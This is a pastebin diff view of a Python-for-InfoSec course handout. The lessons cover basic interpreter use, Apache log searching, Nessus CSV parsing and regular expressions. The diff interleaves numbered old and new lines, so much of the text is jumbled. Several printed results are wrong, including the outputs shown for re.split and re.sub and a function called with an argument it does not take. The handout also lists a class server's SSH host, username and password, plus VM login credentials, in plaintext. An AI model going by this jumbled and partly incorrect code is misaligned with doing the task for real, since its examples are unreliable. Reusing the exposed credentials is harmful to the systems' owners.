View difference between Paste ID: dM03J8jB and SCiEZsbg
SHOW: | | - or go back to the newest paste.
1
                            ##############################
2-
Class powerpoint slides:
2+
3-
this document is made for python 2.x https://pastebin.com/Bbtm5hFR
3+
4-
this is the python pastebin 3 https://pastebin.com/SCiEZsbg
4+
5-
http://45.63.104.73/PythonV3-1.pptx 
5+
6
####################
7
# Installing Python#
8-
this document is made for python 2.x
8+
9-
Courseware Lab Manual
9+
10-
http://45.63.104.73//Python-For-InfoSec-Pros-2015.pdf
10+
11
https://www.python.org/downloads/
12-
these videos are python 2.x classes
12+
13-
Class Videos:
13+
14-
https://s3.amazonaws.com/infosecaddictsvideos/2017-07-31+09.32+Python+for+InfoSec+Professionals.mp4
14+
15-
https://s3.amazonaws.com/infosecaddictsvideos/2017-08-01+09.40+Python+for+InfoSec+Professionals.mp4
15+
16-
https://s3.amazonaws.com/infosecaddictsvideos/2017-08-02+09.37+Python+for+InfoSec+Professionals.mp4
16+
17-
https://s3.amazonaws.com/infosecaddictsvideos/2017-08-03+10.29+Python+for+InfoSec+Professionals.mp4
17+
18
19-
This link is broken
19+
20-
http://45.63.104.73/Python4SecurityPros-Files.zip
20+
21
http://idlex.sourceforge.net/features.html
22
23-
https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
23+
24-
user: infosecaddicts
24+
25-
pass: infosecaddicts
25+
26
Debian/Ubuntu:		sudo apt-get install -y python
27
RHEL/CentOS/Fedora:	sudo yum install -y python 
28
29-
The youtube video playlist that I'd like for you to watch is located here:
29+
30-
https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
30+
31
32
After you install Python in Linux the next thing that you will need to do is install idle. 
33-
How I did it:
33+
34
---------------------------Type This-----------------------------------
35-
Step 1: Watch and do the newboston Python video series twice
35+
36-
https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
36+
37
38
-----------------------------------------------------------------------
39-
Step 2:  Watch and do the Google Python workshop twice
39+
40-
https://www.youtube.com/playlist?list=PLfZeRfzhgQzTMgwFVezQbnpc1ck0I6CQl
40+
41
42
43-
Step 3: Download all of the Python tools from PacketStorm and analyze the source code
43+
- I prefer to use Putty to SSH into my Linux host.
44-
https://packetstormsecurity.com/files/tags/python
44+
- You can download Putty from here:
45
- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
46
 
47-
This link is broken
47+
Here is the information to put into putty
48-
Here is the code from Packet Storm
48+
49-
http://45.63.104.73/PythonReferenceCode.zip
49+
Host Name:          107.191.39.106
50
protocol:           ssh
51-
I went through almost every single file and looked up the code that I didn't understand.
51+
port:               22
52-
I also asked programmers to help me understand the lines of code that didn't make sense.
52+
username:           sempra
53-
In the folder  RAC-Brute I actually had to hire a developer from an outsourcing website to comment,
53+
password:           semprapython3!    
54-
and explain the tool to me.
54+
55
56-
This link is broken
56+
57-
Here is what I got out of doing that:
57+
# Python Lesson 1: Simple Printing #
58-
https://s3.amazonaws.com/infosecaddictsfiles/sorted-commented-python-files.zip
58+
59
 
60
---------------------------Type This-----------------------------------
61
$ python3
62
 
63-
Distilled that into this:
63+
64-
http://45.63.104.73/Python-Courseware.zip
64+
65
>>> exit()
66
-----------------------------------------------------------------------
67
 
68
 
69
 
70
 
71
############################################
72
# Python Lesson 2: Simple Numbers and Math #
73
############################################
74
 
75
---------------------------Type This-----------------------------------
76
$ python3
77
 
78
>>> 2+2
79
 
80
>>> 6-3
81
 
82
>>> 18/7
83
 
84
>>> 18.0/7
85
 
86
>>> 18.0/7.0
87
 
88
>>> 18/7
89
 
90
>>> 9%4
91
1
92
>>> 8%4
93
0
94
>>> 8.75%.5
95
 
96
>>> 6.*7
97
 
98
>>> 7*7*7
99
 
100
>>> 7**3
101
 
102
>>> 5**12
103
 
104
>>> -5**4
105
 
106
>>> exit()
107
 
108
-----------------------------------------------------------------------
109
 
110
 
111
 
112
##############################
113
# Python Lesson 3: Variables #
114-
#Python Lesson   1: Simple Printing #
114+
##############################
115
 
116
---------------------------Type This-----------------------------------
117
$ python3
118-
$ python
118+
119
>>> x=18
120
 
121
>>> x+15
122
 
123
>>> x**3
124
 
125
>>> y=54
126
 
127
>>> g=int(input("Enter number here: "))
128-
#Python Lesson   2: Simple Numbers and Math #
128+
129
>>> g
130
 
131
>>> g+32
132
 
133
>>> g**3
134
 
135
>>> exit()
136
 
137
-----------------------------------------------------------------------
138
 
139
 
140
 
141
 
142
 
143
##########################################
144
# Python Lesson 4: Modules and Functions #
145
##########################################
146
 
147
---------------------------Type This-----------------------------------
148
$ python3
149
 
150
>>> 5**4
151
 
152
>>> pow(5,4)
153-
>>> 6*6*6
153+
154
>>> abs(-18)
155-
>>> 6**3
155+
156
>>> abs(5)
157
 
158
>>> floor(18.7)
159
 
160
>>> import math
161
 
162
>>> math.floor(18.7)
163
 
164
>>> math.sqrt(81)
165
 
166
>>> joe = math.sqrt
167
 
168-
#Python Lesson   3: Variables #
168+
169
 
170
>>> joe=math.floor
171
 
172
>>> joe(19.8)
173
 
174
>>> exit()
175
 
176
-----------------------------------------------------------------------
177
 
178
 
179
 
180
############################
181
# Python Lesson 5: Strings #
182
############################
183
 
184
---------------------------Type This-----------------------------------
185
$ python3
186
 
187
>>> "XSS"
188
 
189-
>>> 
189+
190
 
191
>>> "Joe's a python lover"
192
 
193
>>> "Joe said \"InfoSec is fun\" to me"
194
 
195
>>> a = "Joe"
196
 
197
>>> b = "McCray"
198-
#Python Lesson   4: Modules and Functions #
198+
199
>>> a, b
200
 
201
>>> a+b
202
 
203
>>> exit()
204
-----------------------------------------------------------------------
205
 
206
 
207
 
208
 
209
 
210
#################################
211
# Python Lesson 6: More Strings #
212
#################################
213
 
214
---------------------------Type This-----------------------------------
215
$ python3
216
 
217
>>> num = 10
218
 
219
>>> num + 2
220
 
221
>>> "The number of open ports found on this system is ",  num
222
 
223
>>> num = str(18)
224
 
225
>>> "There are ", num, " vulnerabilities found in this environment."
226
 
227
>>> num2 = 46
228
 
229
>>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2
230
 
231
>>> exit()
232
-----------------------------------------------------------------------
233
 
234-
#Python Lesson   5: Strings #
234+
235
 
236
 
237
 
238
########################################
239
# Python Lesson 7: Sequences and Lists #
240
########################################
241
 
242
---------------------------Type This-----------------------------------
243
$ python3
244
 
245
>>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
246
 
247
>>> attacks
248
['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
249
 
250
>>> attacks[3]
251
'SQL Injection'
252
 
253
>>> attacks[-2]
254
'Cross-Site Scripting'
255
 
256
>>> exit()
257
258
259
260
------------------------------- Summary of fundamentals -------------------------------
261
262
263
Joe rule #1 single quote, single quote, left arrow
264-
#Python Lesson   6: More Strings #
264+
265
'' <-- as soon as you type '', then hit your left arrow key to put you inside of the '' 
266
"" <-- as soon as you type "", then hit your left arrow key to put you inside of the ""
267
something()	<-- as soon as you type (), then hit your left arrow key to put you inside of the ()
268
something[] <-- as soon as you type [], then hit your left arrow key to put you inside of the []
269
something{} <-- as soon as you type {}, then hit your left arrow key to put you inside of the {}
270
271
-- Now kick it up a notch
272
[]	<-- as soon as you type [], then hit your left arrow key to put you inside of the []
273
[()] <-- as soon as you type (), then hit your left arrow key to put you inside of the ()
274
[({})] <-- as soon as you type {}, then hit your left arrow key to put you inside of the {}
275
[({"''"})] <-- as soon as you type "", then hit your left arrow key to put you inside of the "" 
276
[({"''"})] <-- as soon as you type '', then hit your left arrow key to put you inside of the '' 		
277
278
279
280
Joe rule #2 "Code can only do 3 things"
281
--------------------------------------
282
283
Process		- 	read, write, math
284
285
Decision	- 	if/then
286
287
Loop		- 	for
288
289
290
291
292-
#Python Lesson   7: Sequences and Lists #
292+
Joe rule #3 "Never more than 5-10"
293
---------------------------------
294
295
-----5 lines of code----
296
line 1 blah blah blah
297
line 2 blah blah blah
298
line 3 blah blah blah
299
line 4 blah blah blah
300
line 5 blah blah blah
301
302
303
	sales_tax	= 	price		* 	tax_rate
304
305
306
	0.80		=	10		*	0.08
307
308
-----5-10 lines of code---- = function
309
	price = 10
310
	
311-
###################################
311+
	def st():
312-
# Level 8: Intro to Log Analysis #
312+
		sales_tax = price * 0.08
313-
###################################
313+
		print(sales_tax)
314
315
316
st(10) <---- how to run a function
317
318
-----5-10 functions ---- = class   "tax class"
319
st()
320
lt()
321
pt()
322
it()
323
dt()
324
325
326
327
tax.st()
328
tax.lt()
329
330
-----5-10 functions ---- = class   "expense class"
331
gas()
332
elec()
333
water()
334
food()
335
beer()
336
337
expense.gas()
338
339
340
-----5-10 classes ---- = module   "finance module"
341
342-
Google the following terms:
342+
import finance
343-
    - Python read file
343+
344-
    - Python read line
344+
345-
    - Python read from file
345+
------------------------------- Summary of fundamentals ------------------------------- 
346
 
347
##################################
348
# Lesson 8: Intro to Log Analysis #
349
##################################
350-
################################################################
350+
351-
#Python Lesson   9: Use Python to read in a file line by line  #
351+
352-
################################################################
352+
353
-----------------------------------------------------------------------
354
NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
355
 
356-
http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
356+
357
 
358
---------------------------Type This-----------------------------------
359
mkdir yourname          <---- Use your actual first name (all lowercase and no spaces) instead of the word yourname
360
 
361
cd yourname
362
 
363
wget http://pastebin.com/raw/85zZ5TZX
364
 
365
mv 85zZ5TZX access_log
366
 
367
 
368
cat access_log | grep 141.101.80.188
369
370
cat access_log | grep 141.101.80.188 | wc -l
371
 
372
cat access_log | grep 141.101.80.187
373
374
cat access_log | grep 141.101.80.187 | wc -l
375
 
376
cat access_log | grep 108.162.216.204
377
378
cat access_log | grep 108.162.216.204 | wc -l
379
 
380
cat access_log | grep 173.245.53.160
381
382
cat access_log | grep 173.245.53.160 | wc -l
383
 
384
----------------------------------------------------------------------
385-
python logread1.py
385+
386
 
387
388
 
389
 
390
 
391
 
392
###############################################################
393
# Python Lesson 9: Use Python to read in a file line by line  #
394
###############################################################
395
 
396
 
397
---------------------------Type This-----------------------------------
398
 
399-
exit()
399+
400
 
401
 
402
---------------------------Paste This-----------------------------------
403-
exit()
403+
404
f = open('access_log', "r")
405
 
406
## use readlines to read all lines in the file
407
## The variable "lines" is a list containing all lines
408
lines = f.readlines()
409
 
410
print (lines)
411
 
412
 
413
## close the file after reading the lines.
414-
    ip = line.split(" - ")[0]
414+
415-
    if ip == strUsrinput:
415+
416-
        print (line)
416+
417
 
418
 
419
 
420
 
421
---------------------------Type This-----------------------------------
422
$ python3 logread1.py
423
----------------------------------------------------------------------
424
 
425
 
426
 
427-
python ip_search.py
427+
428
    - python difference between readlines and readline
429
    - python readlines and readline
430
 
431
 
432
Here is one student's solution - can you please explain each line of this code to me?
433
 
434
 
435
---------------------------Type This-----------------------------------
436
nano ip_search.py
437
 
438
439
---------------------------Paste This-----------------------------------
440
#!/usr/bin/env python3
441
 
442
f = open('access_log')
443
 
444
strUsrinput = input("Enter IP Address: ")
445
 
446
for line in iter(f):
447
   ip = line.split(" - ")[0]
448
   if ip == strUsrinput:
449
       print (line)
450
 
451
f.close()
452
 
453
 
454
----------------------------------------------------------------------
455-
    if ip.find(userinput) != -1:
455+
456-
        print (ip)
456+
457
 
458
 
459
---------------------------Type This-----------------------------------
460
$ python3 ip_search.py
461
----------------------------------------------------------------------
462
 
463-
python ip_search2.py
463+
464
 
465
Working with another student after class we came up with another solution:
466
 
467
---------------------------Type This-----------------------------------
468-
##################################################
468+
469-
# Lession 14: Look for web attacks in a log file #
469+
470-
##################################################
470+
471
#!/usr/bin/env python
472-
In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log.
472+
473-
Supported attacks:
473+
474-
1.	    SQL Injection
474+
475-
2.	    Local File Inclusion
475+
476-
3.	    Remote File Inclusion
476+
477-
4.	    Cross-Site Scripting
477+
478
lines = f.readlines()
479
 
480
 
481-
the syntax of this code was changed to python 3
481+
482-
python scan_log.py --help
482+
483
 
484-
wget http://45.63.104.73/scan_log.py
484+
485
 
486
# This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
487
for ip in lines:
488-
The usage for scan_log.py is simple.  You feed it an apache log file.
488+
   if ip.find(userinput) != -1:
489
       print (ip)
490
 
491
----------------------------------------------------------------------
492-
cat scan_log.py | less			(use your up/down arrow keys to look through the file)
492+
493
 
494
 
495
---------------------------Type This-----------------------------------
496-
Explain to me how this script works.
496+
$ python3 ip_search2.py
497-
python scan_log.py --help
497+
498
 
499
 
500
################################
501
# Lesson 10: Parsing CSV Files #
502
################################
503-
# Lesson 15: Parsing CSV Files #
503+
504
Type the following commands:
505
---------------------------------------------------------------------------------------------------------
506-
Dealing with csv files
506+
507
---------------------------Type This-----------------------------------
508
 
509-
http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python/
509+
510
 
511
----------------------------------------------------------------------
512
 
513
Example 1 - Reading CSV files
514
-----------------------------
515
#To be able to read csv formated files, we will first have to import the
516
#csv module.
517
 
518
 
519
---------------------------Type This-----------------------------------
520
$ python3
521
f = open('class_nessus.csv', 'r')
522
for row in f:
523
   print (row)
524
       
525
 
526
----------------------------------------------------------------------
527-
$ python
527+
528-
f = open('class_nessus.csv', 'rb')
528+
529
 
530-
    print (row)
530+
531
-----------------------------
532
 
533
---------------------------Type This-----------------------------------
534
 
535
nano readcsv.py
536
 
537
---------------------------Paste This-----------------------------------
538
#!/usr/bin/env python3
539
f = open('class_nessus.csv', 'r')      # opens the csv file
540
try:
541
    for row in f:           			# iterates the rows of the file in orders
542-
vi readcsv.py
542+
        print (row)             		# prints each row
543
finally:
544
    f.close()               			# closing
545
 
546-
f = open('class_nessus.csv', 'rb') 		# opens the csv file
546+
547
 
548-
    for row in f:   		# iterates the rows of the file in orders
548+
549-
        print (row)    			# prints each row
549+
550
 
551-
    f.close()      			# closing
551+
552
Ok, now let's run this thing.
553
 
554
--------------------------Type This-----------------------------------
555
$ python3 readcsv.py
556
 
557
----------------------------------------------------------------------
558
 
559
 
560
 
561
 
562-
python readcsv.py 
562+
563
-------------------------------
564-
python readcsv.py class_nessus.csv 
564+
565
---------------------------Type This-----------------------------------
566
 
567
nano readcsv2.py
568
 
569
---------------------------Paste This-----------------------------------
570
#!/usr/bin/python3
571
# This program will then read it and displays its contents.
572
  
573
import csv
574
 
575-
vi readcsv2.py
575+
ifile  = open('class_nessus.csv', "r")
576
reader = csv.reader(ifile)
577
 
578
rownum = 0
579
for row in reader:
580
    # Save header row.
581-
ifile  = open('class_nessus.csv', "rb")
581+
582
        header = row
583
    else:
584
        colnum = 0
585-
for row in ifile:
585+
586
            print ('%-8s: %s' % (header[colnum], col))
587
            colnum += 1
588
           
589
    rownum += 1
590
 
591
ifile.close()
592
 
593
 
594
 
595
----------------------------------------------------------------------
596
 
597
 
598
 
599
---------------------------Type This-----------------------------------
600
 
601
$ python3 readcsv2.py | less
602
 
603
 
604
----------------------------------------------------------------------
605
 
606-
python readcsv2.py | less
606+
607
 
608
 
609
 
610
 
611
 
612
 
613
 
614
---------------------------Type This-----------------------------------
615
 
616
nano readcsv3.py
617
 
618
---------------------------Paste This-----------------------------------
619
#!/usr/bin/python3
620
import csv
621-
vi readcsv3.py
621+
622
try:
623
    rownum = 0
624
    reader = csv.reader(f)
625
    for row in reader:
626
         #Save header row.
627
        if rownum == 0:
628
            header = row
629
        else:
630
            colnum = 0
631-
        #Save header row.
631+
632
                print ('%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
633
        rownum += 1
634
finally:
635
    f.close()
636
 
637-
                print(('%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])))
637+
638
 
639
 
640
---------------------------Type This-----------------------------------
641
 
642
$ python3 readcsv3.py | less
643
-----------------------------------------------------------------------
644
 
645
 
646
 
647-
python readcsv3.py | less
647+
648
 
649
nano readcsv4.py
650
-----------------------------------------------------------------------
651
 
652
---------------------------Paste This-----------------------------------
653
 
654-
vi readcsv4.py
654+
#!/usr/bin/python3
655
import csv
656
f = open('class_nessus.csv', 'r')
657
try:
658
    print ('/---------------------------------------------------/')
659
    rownum = 0
660
    hosts = {}
661
    reader = csv.reader(f)
662
    for row in reader:
663-
    print('/---------------------------------------------------/')
663+
664
        if rownum == 0:
665
            header = row
666
        else:
667
            colnum = 0
668
            if row[3].lower() == 'high' and row[4] not in hosts:
669
                hosts[row[4]] = row[4]
670
                print ('%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
671
        rownum += 1
672
finally:
673
    f.close()
674
----------------------------------------------------------------------
675-
                print('%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
675+
676
 
677
 
678
$ python3 readcsv4.py | less
679
 
680
----------------------------------------------------------------------
681-
python readcsv4.py | less
681+
682
683
                            ######################################################
684
----------- ############### # Day 2: Regular Expressions, Functions, and Classes # ############### -----------
685
                            ######################################################
686
687
#######################
688
# Regular Expressions #
689
#######################
690
 
691
 
692
 
693
**************************************************
694
* What is Regular Expression and how is it used? *
695
**************************************************
696
 
697
 
698
Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
699
 
700
 
701
Regular expressions use two types of characters:
702
 
703
a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
704
 
705
b) Literals (like a,b,1,2…)
706
 
707
 
708
In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
709
 
710
 
711
Use this code --> import re
712
 
713
 
714
 
715
 
716
The most common uses of regular expressions are:
717
--------------------------------------------------
718
 
719
- Search a string (search and match)
720
- Finding a string (findall)
721
- Break string into a sub strings (split)
722
- Replace part of a string (sub)
723
 
724
 
725
 
726
Let's look at the methods that library "re" provides to perform these tasks.
727
 
728
 
729
 
730
****************************************************
731
* What are various methods of Regular Expressions? *
732
****************************************************
733
 
734
 
735
The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
736
 
737-
f = open("quick.pcap","rb")
737+
738
re.search()
739
re.findall()
740
re.split()
741
re.sub()
742
re.compile()
743
 
744
Let's look at them one by one.
745
 
746
 
747
re.match(pattern, string):
748
-------------------------------------------------
749
 
750
This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
751
 
752
Code
753
---------------------------Type This-----------------------------------
754-
python quickpcap.py
754+
$ python3
755
import re
756
result = re.match(r'AV', 'AV Analytics ESET AV')
757
print (result)
758
----------------------------------------------------------------------
759
 
760
Output:
761
<_sre.SRE_Match object at 0x0000000009BE4370>
762
 
763
Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
764
 
765
---------------------------Type This-----------------------------------
766
$ python3
767
import re
768
result = re.match(r'AV', 'AV Analytics ESET AV')
769
print (result.group(0))
770
----------------------------------------------------------------------
771
 
772
Output:
773
AV
774
 
775
 
776
Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
777
 
778
 
779
Code
780
---------------------------Type This-----------------------------------
781
$ python3
782
import re
783
result = re.match(r'Analytics', 'AV Analytics ESET AV')
784
print (result)
785
 
786
----------------------------------------------------------------------
787
 
788
 
789
Output:
790
None
791
 
792
 
793
There are methods like start() and end() to know the start and end position of matching pattern in the string.
794
 
795
Code
796
---------------------------Type This-----------------------------------
797
$ python3
798
import re
799
result = re.match(r'AV', 'AV Analytics ESET AV')
800
print (result.start())
801
print (result.end())
802
 
803
----------------------------------------------------------------------
804
 
805
Output:
806
0
807
2
808
 
809
Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
810
 
811
 
812-
f = open('capture-100.pcap','rb')
812+
813
 
814
 
815
re.search(pattern, string):
816
-----------------------------------------------------
817
 
818
 
819
It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
820
 
821
Code
822
---------------------------Type This-----------------------------------
823
$ python3
824
import re
825
result = re.search(r'Analytics', 'AV Analytics ESET AV')
826
print (result.group(0))
827
----------------------------------------------------------------------
828
 
829
Output:
830
Analytics
831
 
832
Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
833
 
834
 
835
 
836-
python pcapparsing.py
836+
837
 
838
 
839
re.findall (pattern, string):
840
------------------------------------------------------
841
 
842
 
843
It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
844
 
845
 
846
Code
847
---------------------------Type This-----------------------------------
848
$ python3
849
import re
850
result = re.findall(r'AV', 'AV Analytics ESET AV')
851
print (result)
852
----------------------------------------------------------------------
853
 
854
Output:
855
['AV', 'AV']
856
 
857
 
858
 
859
 
860
 
861
re.split(pattern, string, [maxsplit=0]):
862
------------------------------------------------------
863
 
864
 
865
 
866
This methods helps to split string by the occurrences of given pattern.
867
 
868
 
869
Code
870
---------------------------Type This-----------------------------------
871
$ python3
872
result=re.split(r'y','Analytics')
873
result
874
 ----------------------------------------------------------------------
875
 
876
Output:
877
['Anal', 'tics']
878
 
879
Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
880
 
881
 
882
Code
883
---------------------------Type This-----------------------------------
884
$ python3
885
import re
886
result=re.split(r's','Analytics eset')
887
print (result)
888
 
889
----------------------------------------------------------------------
890
 
891
Output:
892
['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
893
 
894
 
895
 
896
Code
897
---------------------------Type This-----------------------------------
898
$ python3
899
import re
900
result=re.split(r's','Analytics eset',maxsplit=1)
901
print (result)
902
 
903
----------------------------------------------------------------------
904
 
905
Output:
906
[]
907
 
908
 
909
 
910
 
911
 
912
re.sub(pattern, repl, string):
913
----------------------------------------------------------
914
 
915
It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
916
 
917
Code
918
---------------------------Type This-----------------------------------
919
$ python3
920
import re
921
result=re.sub(r'Ruby','Python','Joe likes Ruby')
922
print (result)
923
----------------------------------------------------------------------
924
 
925
Output:
926
''
927
 
928
 
929
 
930
 
931
 
932
re.compile(pattern, repl, string):
933
----------------------------------------------------------
934
 
935
 
936
We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
937
 
938
 
939
Code
940
---------------------------Type This-----------------------------------
941
$ python3
942
import re
943
pattern=re.compile('XSS')
944
result=pattern.findall('XSS is Cross Site Scripting, XSS')
945
print (result)
946
result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
947
print (result2)
948
 
949
----------------------------------------------------------------------
950
 
951
Output:
952
['XSS', 'XSS']
953
['XSS']
954
 
955
Till now,  we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string?  Don't be intimidated.
956
 
957
This can easily be solved by defining an expression with the help of pattern operators (meta  and literal characters). Let's look at the most common pattern operators.
958
 
959
 
960
 
961
 
962
 
963
**********************************************
964
* What are the most commonly used operators? *
965
**********************************************
966
 
967
 
968
Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and  text mining to extract required information.
969
 
970
Operators   Description
971
.           Matches with any single character except newline ‘\n'.
972
?           match 0 or 1 occurrence of the pattern to its left
973
+           1 or more occurrences of the pattern to its left
974
*           0 or more occurrences of the pattern to its left
975
\w          Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
976
\d          Matches with digits [0-9] and /D (upper case D) matches with non-digits.
977
\s          Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
978
\b          boundary between word and non-word and /B is opposite of /b
979
[..]            Matches any single character in a square bracket and [^..] matches any single character not in square bracket
980
\           It is used for special meaning characters like \. to match a period or \+ for plus sign.
981
^ and $         ^ and $ match the start or end of the string respectively
982
{n,m}           Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
983
a| b            Matches either a or b
984
( )         Groups regular expressions and returns matched text
985
\t, \n, \r  Matches tab, newline, return
986
 
987
 
988
For more details on  meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
989
 
990
Now, let's understand the pattern operators by looking at the below examples.
991
 
992
 
993
 
994
****************************************
995
* Some Examples of Regular Expressions *
996
****************************************
997
 
998
******************************************************
999
* Problem 1: Return the first word of a given string *
1000
******************************************************
1001
 
1002
 
1003
Solution-1  Extract each character (using "\w")
1004-
python
1004+
1005
 
1006
Code
1007
---------------------------Type This-----------------------------------
1008
$ python3
1009
import re
1010
result=re.findall(r'.','Python is the best scripting language')
1011
print (result)
1012
----------------------------------------------------------------------
1013
 
1014
Output:
1015
['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
1016
 
1017
 
1018
Above, space is also extracted, now to avoid it use "\w" instead of ".".
1019
 
1020
 
1021
Code
1022
---------------------------Type This-----------------------------------
1023
$ python3
1024
import re
1025
result=re.findall(r'\w','Python is the best scripting language')
1026
print (result)
1027
 
1028
----------------------------------------------------------------------
1029
 
1030
Output:
1031
['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
1032
 
1033
 
1034
 
1035
 
1036
Solution-2  Extract each word (using "*" or "+")
1037
---------------------------------------------------------------------------
1038
 
1039
Code
1040
---------------------------Type This-----------------------------------
1041
$ python3
1042
import re
1043
result=re.findall(r'\w*','Python is the best scripting language')
1044
print (result)
1045
 
1046
----------------------------------------------------------------------
1047
 
1048
Output:
1049
['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
1050
 
1051
 
1052
Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
1053
 
1054
Code
1055
---------------------------Type This-----------------------------------
1056
$ python3
1057
import re
1058
result=re.findall(r'\w+','Python is the best scripting language')
1059
print (result)
1060
 
1061
----------------------------------------------------------------------
1062
 
1063
Output:
1064
['Python', 'is', 'the', 'best', 'scripting', 'language']
1065
 
1066
 
1067
 
1068
 
1069
Solution-3 Extract each word (using "^")
1070
-------------------------------------------------------------------------------------
1071
 
1072
 
1073
Code
1074
---------------------------Type This-----------------------------------
1075
$ python3
1076
import re
1077
result=re.findall(r'^\w+','Python is the best scripting language')
1078
print (result)
1079
 
1080
----------------------------------------------------------------------
1081
 
1082
Output:
1083
['Python']
1084
 
1085
If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
1086
 
1087
Code
1088
---------------------------Type This-----------------------------------
1089
$ python3
1090
import re
1091
result=re.findall(r'\w+$','Python is the best scripting language')
1092
print (result)
1093
----------------------------------------------------------------------
1094
 
1095
Output:
1096
[‘language']
1097
 
1098
 
1099
 
1100
 
1101
 
1102
**********************************************************
1103
* Problem 2: Return the first two character of each word *
1104
**********************************************************
1105
 
1106
 
1107
 
1108
 
1109
Solution-1  Extract consecutive two characters of each word, excluding spaces (using "\w")
1110-
python tcpserver.py
1110+
1111
 
1112
Code
1113
---------------------------Type This-----------------------------------
1114-
python tcpclient.py
1114+
$ python3
1115
import re
1116
result=re.findall(r'\w\w','Python is the best')
1117
print (result)
1118
 
1119
----------------------------------------------------------------------
1120
 
1121
Output:
1122
['Py', 'th', 'on', 'is', 'th', 'be', 'st']
1123
 
1124
 
1125
 
1126
 
1127
 
1128
Solution-2  Extract consecutive two characters those available at start of word boundary (using "\b")
1129
------------------------------------------------------------------------------------------------------
1130
 
1131
Code
1132
---------------------------Type This-----------------------------------
1133
$ python3
1134
import re
1135
result=re.findall(r'\b\w.','Python is the best')
1136
print (result)
1137
 
1138
----------------------------------------------------------------------
1139
 
1140
Output:
1141
['Py', 'is', 'th', 'be']
1142
 
1143
 
1144
 
1145
 
1146
 
1147
 
1148
********************************************************
1149
* Problem 3: Return the domain type of given email-ids *
1150
********************************************************
1151
 
1152
 
1153
To explain it in simple manner, I will again go with a stepwise approach:
1154
 
1155
 
1156
 
1157
 
1158
 
1159
Solution-1  Extract all characters after "@"
1160
------------------------------------------------------------------------------------------------------------------
1161
 
1162
Code
1163
---------------------------Type This-----------------------------------
1164
$ python3
1165
import re
1166
result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
1167
print (result)
1168
----------------------------------------------------------------------
1169
 
1170
Output: ['@gmail', '@test', '@strategicsec', '@rest']
1171
 
1172
 
1173
 
1174
Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
1175
 
1176
---------------------------Type This-----------------------------------
1177
$ python3
1178
import re
1179
